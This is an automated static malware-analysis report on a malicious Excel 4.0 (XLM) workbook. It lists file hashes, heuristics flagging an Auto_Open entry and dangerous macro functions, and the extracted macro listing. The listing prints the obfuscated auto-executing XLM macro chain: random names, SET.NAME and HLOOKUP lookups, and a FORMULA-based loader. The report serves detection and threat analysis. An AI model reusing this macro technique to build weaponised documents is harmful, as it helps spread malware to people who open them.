Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9658b06d492b7273…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:01 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: aece997c7e8b36100f472b096092bc1d SHA-1: c341c1ac189a744d0fd3287171ab3e6cabad165f SHA-256: 9658b06d492b72734f6955e02ae53ce581d83e83e63c2ee5d3bcf04bb40725e1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6603 bytes
SHA-256: c32973e8875247984ea80878eda876f0017b004f67707191bfa845cb0fea070c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FtxbOTHVwdW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A164 
' 0018     27 LABEL : Cell Value, String Constant - eCkfHYGOKGlM len=0 
' 0018     25 LABEL : Cell Value, String Constant - eykoMSosey len=0 
' 0018     27 LABEL : Cell Value, String Constant - IgSBWayKOYAE len=0 
' 0018     26 LABEL : Cell Value, String Constant - ihxObqkwpUS len=0 
' 0018     21 LABEL : Cell Value, String Constant - jfBMJo len=0 
' 0018     20 LABEL : Cell Value, String Constant - JLnId len=0 
' 0018     26 LABEL : Cell Value, String Constant - jvZiILvHKaI len=0 
' 0018     21 LABEL : Cell Value, String Constant - KcIVCg len=0 
' 0018     21 LABEL : Cell Value, String Constant - LeSNcT len=0 
' 0018     20 LABEL : Cell Value, String Constant - lIqCh len=0 
' 0018     24 LABEL : Cell Value, String Constant - lmpLhIWWq len=0 
' 0018     20 LABEL : Cell Value, String Constant - mNyIo len=0 
' 0018     20 LABEL : Cell Value, String Constant - PEqxr len=0 
' 0018     27 LABEL : Cell Value, String Constant - PKfhsgYRlJBH len=0 
' 0018     20 LABEL : Cell Value, String Constant - Pkhxe len=0 
' 0018     21 LABEL : Cell Value, String Constant - ratwDi len=0 
' 0018     23 LABEL : Cell Value, String Constant - sefoobdh len=0 
' 0018     22 LABEL : Cell Value, String Constant - SiyxdYW len=0 
' 0018     22 LABEL : Cell Value, String Constant - Xexcohe len=0 
' 0018     26 LABEL : Cell Value, String Constant - zRkzjcInWVT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FtxbOTHVwdW,A71,"SET.NAME("lIqCh",VALUE("0"))",""
'  FtxbOTHVwdW,A75,"SET.NAME("mNyIo",lIqCh)",""
'  FtxbOTHVwdW,A77,"SET.NAME("SiyxdYW",lIqCh)",""
'  FtxbOTHVwdW,A79,"SET.NAME("KcIVCg",COUNTA(PEqxr))",""
'  FtxbOTHVwdW,A83,"SET.NAME("lmpLhIWWq",COUNTA(sefoobdh))",""
'  FtxbOTHVwdW,A85,[],""
'  FtxbOTHVwdW,A90,"SET.NAME("ihxObqkwpUS","")",""
'  FtxbOTHVwdW,A94,"mNyIo",""
'  FtxbOTHVwdW,A99,"SET.NAME("zRkzjcInWVT",HLOOKUP("*",PEqxr,mNyIo,FALSE))",""
'  FtxbOTHVwdW,A101,"jvZiILvHKaI",""
'  FtxbOTHVwdW,A103,"SET.NAME("Pkhxe",lIqCh)",""
'  FtxbOTHVwdW,A106,[],""
'  FtxbOTHVwdW,A109,"Pkhxe",""
'  FtxbOTHVwdW,A113,"IgSBWayKOYAE",""
'  FtxbOTHVwdW,A118,"ratwDi",""
'  FtxbOTHVwdW,A120,"PKfhsgYRlJBH",""
'  FtxbOTHVwdW,A125,"SET.NAME("jfBMJo",VALUE(HLOOKUP("*",sefoobdh,PKfhsgYRlJBH,FALSE)))",""
'  FtxbOTHVwdW,A128,"JLnId",""
'  FtxbOTHVwdW,A133,"ihxObqkwpUS",""
'  FtxbOTHVwdW,A137,"SiyxdYW",""
'  FtxbOTHVwdW,A141,NEXT(),""
'  FtxbOTHVwdW,A143,"eykoMSosey",""
'  FtxbOTHVwdW,A148,"SET.NAME("f",INT(T(FORMULA(T(ihxObqkwpUS)&"",""&T(eykoMSosey)))))",""
'  FtxbOTHVwdW,A153,"LeSNcT",""
'  FtxbOTHVwdW,A156,NEXT(),""
'  FtxbOTHVwdW,A159,RETURN(),""
'  FtxbOTHVwdW,A187,"SET.NAME("eCkfHYGOKGlM",A71)",""
'  FtxbOTHVwdW,A190,"PEqxr",""
'  FtxbOTHVwdW,A193,"SET.NAME("sefoobdh",R72C11)",""
'  FtxbOTHVwdW,A197,"SET.NAME("LeSNcT",204)",""
'  FtxbOTHVwdW,A200,"SET.NAME("Xexcohe",1)",""
'  FtxbOTHVwdW,A203,eCkfHYGOKGlM(),""
'  FtxbOTHVwdW,A204,HALT(),""

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